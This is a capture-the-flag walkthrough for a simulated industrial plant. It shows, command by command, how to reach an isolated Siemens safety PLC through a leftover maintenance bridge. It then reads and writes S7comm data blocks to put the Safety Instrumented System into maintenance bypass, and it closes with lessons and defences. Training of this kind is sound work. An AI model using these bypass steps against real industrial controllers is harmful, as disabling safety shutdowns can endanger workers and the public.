Challenge 9 - Safety Assault
Points: 800
Protocol: S7comm (Siemens)
Difficulty: Expert
The Story
After CH-08, you noticed chlorine caps at ~5 ppm. Something is stopping you. The plant has a Safety Instrumented System (SIS) - an independent last line of defence that shuts everything down if conditions become dangerous. The SIS is on a completely isolated network… or is it?
What You Know
- The Safety network is at 10.0.5.x
- No firewall rules allow direct access from any zone
- The SIS PLC is at 10.0.5.201:102 (S7comm protocol)
- The HMI Process page shows SIS: ARMED (green)
Step 1: The Problem
The safety network is supposed to be air-gapped. You can’t reach 10.0.5.x from the SCADA zone or anywhere else. The firewall blocks everything.
But in real industrial environments, someone always leaves a backdoor for maintenance…
Step 2: Investigate the Engineering Workstation
You have SSH access to the EWS (engineer@10.0.3.20). What else is running on it?
Hint: Check what ports are listening on the EWS.
How?
SSH to the EWS and list listening ports:
```bash
sshpass -p 'eng2024!' ssh -p 2222 engineer@127.0.0.1 'ss -tlnp'
```
What do you see? Port 22 (SSH, expected) and… another port. What’s that?
Step 3: The Forgotten Bridge
That mysterious port is a TCP proxy - someone set up a maintenance bridge from the EWS to the Safety PLC. It was supposed to be temporary, but it was never removed.
This is how air-gaps get broken in real facilities.
Tunnel that port to Kali.
Tunnel command?
```bash
sshpass -p 'eng2024!' ssh -f -N -L :127.0.0.1: -p 2222 engineer@127.0.0.1
```
Replace `` with the port you discovered.
</details>
## Step 4: Scan the Safety PLC
The bridge speaks S7comm - the Siemens protocol. S7comm organizes data in **Data Blocks (DBs)**.
Scan command?
```bash
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p -c scan
```
</details>
**Study the data blocks.** Look at the hex dump and decoded values. One DB contains status bits, another has setpoints and something that looks like a password.
## Step 5: Read the Data Blocks
Read each DB carefully.
**DB1** contains safety status - byte 0 has individual bits:
- Bit 0: SIS Armed
- Bit 1: SIS Tripped
- Bit 2: SIS Healthy
- Bit 4: Maintenance Mode (THE TARGET)
**DB2** contains setpoints and a maintenance password.
Commands?
```bash
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p -c read --db 1 --size 22
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p -c read --db 2 --size 16
```
</details>
**Hint:** Look at the last value in DB2. Does it look like a numeric code?
## Step 6: Enable Maintenance Mode
To bypass the SIS, you need to:
1. Write the maintenance password to DB2
2. Set the maintenance mode bit in DB1
How?
The tool supports both value writes and single-bit writes:
```bash
# Write password
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p -c write --db 2 --offset --value
# Set maintenance bit
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p -c write --db 1 --offset 0 --bit 4 --bit-value on
```
</details>
**Watch the HMI** - SIS indicator changes from ARMED (green) to BYPASSED (yellow).
## Step 7: Check DB99
The scan showed another interesting data block. What's in it?
Command?
```bash
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p -c read --db 99 --size 32
```
Look at the ASCII column in the hex dump.
</details>
---
## What You Learned
- Air-gapped networks often have forgotten maintenance bridges
- S7comm (Siemens) has no authentication on data block read/write
- Safety systems can be put in maintenance mode by an attacker
- This mirrors the TRITON/TRISIS attack (2017) - malware specifically targeted Schneider Electric SIS controllers in a Saudi petrochemical plant
- Defence: remove maintenance bridges, monitor SIS state changes, require physical key for maintenance mode
## Scoreboard
Updates when SIS maintenance mode is enabled. Flag appears on HMI Process page.